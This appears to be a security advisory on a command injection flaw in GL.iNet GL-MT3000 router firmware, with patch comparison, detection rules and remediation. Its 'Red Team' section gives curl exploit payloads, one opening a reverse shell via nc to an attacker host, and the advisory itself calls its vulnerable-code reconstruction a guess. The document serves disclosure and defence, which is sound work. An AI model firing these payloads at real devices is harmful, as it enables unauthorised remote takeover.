CVE-2026-11451

Executive Summary

CVE-2026-11451 is a critical command injection vulnerability in GL.iNet GL-MT3000 routers running firmware version 4.4.5. The flaw resides in the FTP Protocol Handler component, specifically within the /cgi-bin/glc file. By manipulating the media_dir argument, an unauthenticated remote attacker can inject arbitrary shell commands. The vendor has released firmware version 4.8.1 which mitigates the issue by escaping single quotes in the media_dir parameter. Despite the vendor's claim that the specific payloads in the report are no longer effective, the underlying code path remains a concern for other injection vectors. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the vulnerability is trivial to exploit and should be patched immediately.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded Linux device.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability allows for remote, unauthenticated command execution, which can lead to full device compromise, data exfiltration, and use of the device as a pivot point in the network.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the FTP configuration endpoint. The /cgi-bin/glc CGI script handles FTP protocol settings. When processing the media_dir parameter, the script constructs a shell command to write to the FTP configuration file (/etc/vsftpd.conf). In version 4.4.5, the media_dir value is directly concatenated into the command string without proper sanitization.

Vulnerable Code Path (4.4.5): The script likely uses snprintf to build a command like:

snprintf(cmd, sizeof(cmd), "echo 'local_root=%s' >> /etc/vsftpd.conf", media_dir);

If media_dir contains '; touch /tmp/pwned; #', the resulting command becomes:

echo 'local_root=''; touch /tmp/pwned; #'' >> /etc/vsftpd.conf

This breaks out of the single-quoted string, executes touch /tmp/pwned, and comments out the rest.

Patched Code Path (4.8.1): The vendor introduced escape_single_quote() which replaces single quotes (') with '\'' (end quote, escaped quote, start quote). This prevents breaking out of the single-quoted string in the shell command.

Vulnerable vs. Patched Code

Vulnerable (4.4.5):

// No sanitization
snprintf(cmd, sizeof(cmd), "echo 'local_root=%s' >> /etc/vsftpd.conf", media_dir);
system(cmd);

Patched (4.8.1):

// Single quote escaping
char *escaped_media_dir = escape_single_quote(media_dir);
snprintf(cmd, sizeof(cmd), "echo 'local_root=%s' >> /etc/vsftpd.conf", escaped_media_dir);
system(cmd);
free(escaped_media_dir);

The escape_single_quote() function transforms ' into '\'', making the shell treat it as a literal character within the single-quoted string.

Exploitation & Lab Setup

Red Team

Prerequisites:

• GL.iNet GL-MT3000 running firmware 4.4.5
• Network access to the device's web interface (typically port 80 or 443)

Exploit Payload:

# Inject command to create a marker file
curl -X POST "http://<target>/cgi-bin/glc" \
  -d "action=set_proto_config&proto=ftp&media_dir='; touch /tmp/pwned; #"

Verification:

# Check if the file was created (requires another vulnerability or credentials)
curl "http://<target>/cgi-bin/glc?action=check_file&file=/tmp/pwned"

Advanced Payload (Reverse Shell):

# Replace with your listener IP and port
curl -X POST "http://<target>/cgi-bin/glc" \
  -d "action=set_proto_config&proto=ftp&media_dir='; nc -e /bin/sh <attacker_ip> <port>; #"

Blue Team

Detection:

• Monitor HTTP POST requests to /cgi-bin/glc with suspicious media_dir parameters containing shell metacharacters (;, |, &, $, `).
• Monitor for unexpected child processes spawned by the web server (e.g., sh, bash, nc, curl).
• Check for unauthorized files in /tmp/ or /etc/ created by the www-data user.

Honeypot:

• Deploy a fake GL-MT3000 endpoint that logs all POST data to /cgi-bin/glc and alerts on shell metacharacters.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/glc with media_dir containing ';, |, or other shell metacharacters.
• Outbound connections from the device to unusual IPs/ports (e.g., reverse shell).

File System IOCs:

• Unexpected files in /tmp/ (e.g., /tmp/pwned, /tmp/.revshell).
• Modified /etc/vsftpd.conf with injected commands.
• Presence of /tmp/exploit or similar artifacts.

Process IOCs:

• sh or bash processes spawned by the web server (e.g., lighttpd or uhttpd).
• nc, ncat, or telnet processes running with -e flag.

Detection Engineering

YARA Rule

rule CVE_2026_11451_GLiNet_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2026-11451 in GL.iNet routers"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-11451"
        severity = "high"
    strings:
        $payload1 = "media_dir=" ascii wide nocase
        $payload2 = "';" ascii wide
        $payload3 = "|" ascii wide
        $payload4 = "`" ascii wide
        $payload5 = "$(" ascii wide
    condition:
        $payload1 and any of ($payload2, $payload3, $payload4, $payload5)
}

Sigma Rule

title: CVE-2026-11451 GL.iNet Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/glc with shell metacharacters in media_dir parameter
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-11451
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /cgi-bin/glc
        cs-uri-query|contains: media_dir=
    keywords:
        - "';"
        - "|"
        - "`"
        - "$("
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in media_dir (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-11451 GL.iNet Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/glc"; http_uri; content:"media_dir="; http_client_body; pcre:"/(?:\x27\x3B|\x7C|\x60|\x24\x28)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade firmware to version 4.8.1 or later.
2. If upgrade is not possible, disable the FTP protocol handler via the web interface.
3. Restrict network access to the device's web interface to trusted IPs only.

Long-term Mitigations:

• Implement input validation for all CGI parameters, especially those used in shell commands.
• Use parameterized APIs instead of shell commands where possible.
• Deploy a Web Application Firewall (WAF) with rules to block shell metacharacters in HTTP parameters.
• Monitor for CVE-2026-11451 exploitation attempts using the provided detection rules.

Vendor Communication:

• The vendor has acknowledged the issue and released a fix in version 4.8.1. Ensure all devices are updated.

Valters IT